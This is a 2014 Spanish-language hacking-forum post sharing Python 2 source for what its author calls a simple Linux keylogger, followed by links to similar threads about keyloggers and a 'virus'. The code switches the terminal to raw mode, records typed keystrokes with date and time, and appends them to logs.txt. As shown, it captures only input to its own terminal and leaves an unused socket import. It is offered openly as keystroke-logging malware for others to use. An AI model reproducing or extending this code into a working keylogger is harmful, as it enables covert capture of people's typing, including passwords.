Junio 19, 2018, 09:29:25 pm

Autor Tema: keylogger sencillo en Linux  (Leído 1404 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado msrojas

  • CPQUE??
  • *
  • Mensajes: 1
  • Sexo: Masculino
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
keylogger sencillo en Linux
« en: Agosto 18, 2014, 04:06:27 pm »
Hola que tal. Les traigo un keylogger simple para linux. Para detectar el teclado utilize la libreria 'termios'; para utilizarla me guie con el siguiente enlance You are not allowed to view links. Register or Login
Ya despues le añadí la mejora de guardar las pulsaciones del teclado por fecha y hora.

Código: You are not allowed to view links. Register or Login
import termios, sys, os, time, socket
from datetime import date
TERMIOS = termios

def guardar(name,text):
    archivo = open(name,"a")
    archivo.write(text)
    archivo.close()

def getkey():
    cadena = ''
    while True:
        fd = sys.stdin.fileno()
        old = termios.tcgetattr(fd)
        new = termios.tcgetattr(fd)
        new[3] = new[3] & ~TERMIOS.ICANON & ~TERMIOS.ECHO
        new[6][TERMIOS.VMIN] = 1
        new[6][TERMIOS.VTIME] = 0
        termios.tcsetattr(fd, TERMIOS.TCSANOW, new)
        key = None
        try:
            key = os.read(fd, 3)
            if key == '\x1b':   #si se oprime la tecla: esc, se sale del programa
                cadena = key
                sys.exit(1)
            elif key == '\n':  #si presiona enter, guardamos todo lo que escribio
                fecha = date.today()    #sacamos la fecha
                hora = time.strftime("%X")  #la hora
                cadena = '%s %30s %20s'%(cadena,fecha,hora)    #concatenamos: cadena, fecha, hora y lo guardamos en la variable cadena
                cadena = cadena + key #guardamos el ultimo key
                break   #salimos del bucle para ir a la funcion: guardar()
            else:
                cadena = cadena + key #si no se presiona enter: continuamos guardando letras en la variable cadena
        finally:
            termios.tcsetattr(fd, TERMIOS.TCSAFLUSH, old)

    guardar('logs.txt',cadena)   #funcion donde se guardara la cadena


while True:
    getkey() #se continuara ejecutando hasta que se presione: esc

espero que les sea de utilidad


exclamation
[LKL] Linux Keylogger

Iniciado por Kodeinfect

1 Respuestas
1407 Vistas
Último mensaje Marzo 14, 2011, 07:12:52 am
por lealesdibua
question
Keylogger Linux

Iniciado por Gipr

2 Respuestas
1095 Vistas
Último mensaje Marzo 26, 2012, 11:02:54 am
por nkdos
xx
Keylogger lkl linux

Iniciado por jsilin

2 Respuestas
1660 Vistas
Último mensaje Diciembre 29, 2009, 01:37:57 am
por chili-remasterizado
xx
Sencillo

Iniciado por JaAViEr

2 Respuestas
1554 Vistas
Último mensaje Marzo 22, 2008, 11:39:22 am
por casanovamxm
question
sencillo por que soy nuevo

Iniciado por zfo133

2 Respuestas
713 Vistas
Último mensaje ſeptiembre 16, 2014, 04:58:13 am
por seth
xx
Sencillo cronometro.

Iniciado por JaAViEr

11 Respuestas
1823 Vistas
Último mensaje Junio 10, 2009, 01:50:36 pm
por JaAViEr
resuelto
Lenguaje sencillo...

Iniciado por gotenx

9 Respuestas
2051 Vistas
Último mensaje Julio 12, 2010, 03:10:32 pm
por elhackernomada
resuelto
Script Sencillo

Iniciado por davidmichu

2 Respuestas
2043 Vistas
Último mensaje Abril 13, 2011, 12:25:30 pm
por davidmichu
xx
New virus muy sencillo!

Iniciado por snok

17 Respuestas
6427 Vistas
Último mensaje Julio 02, 2007, 08:45:04 am
por crypto136
xx
problema sencillo y no me sale

Iniciado por diablokira

2 Respuestas
961 Vistas
Último mensaje Julio 11, 2010, 02:29:25 pm
por ralymontes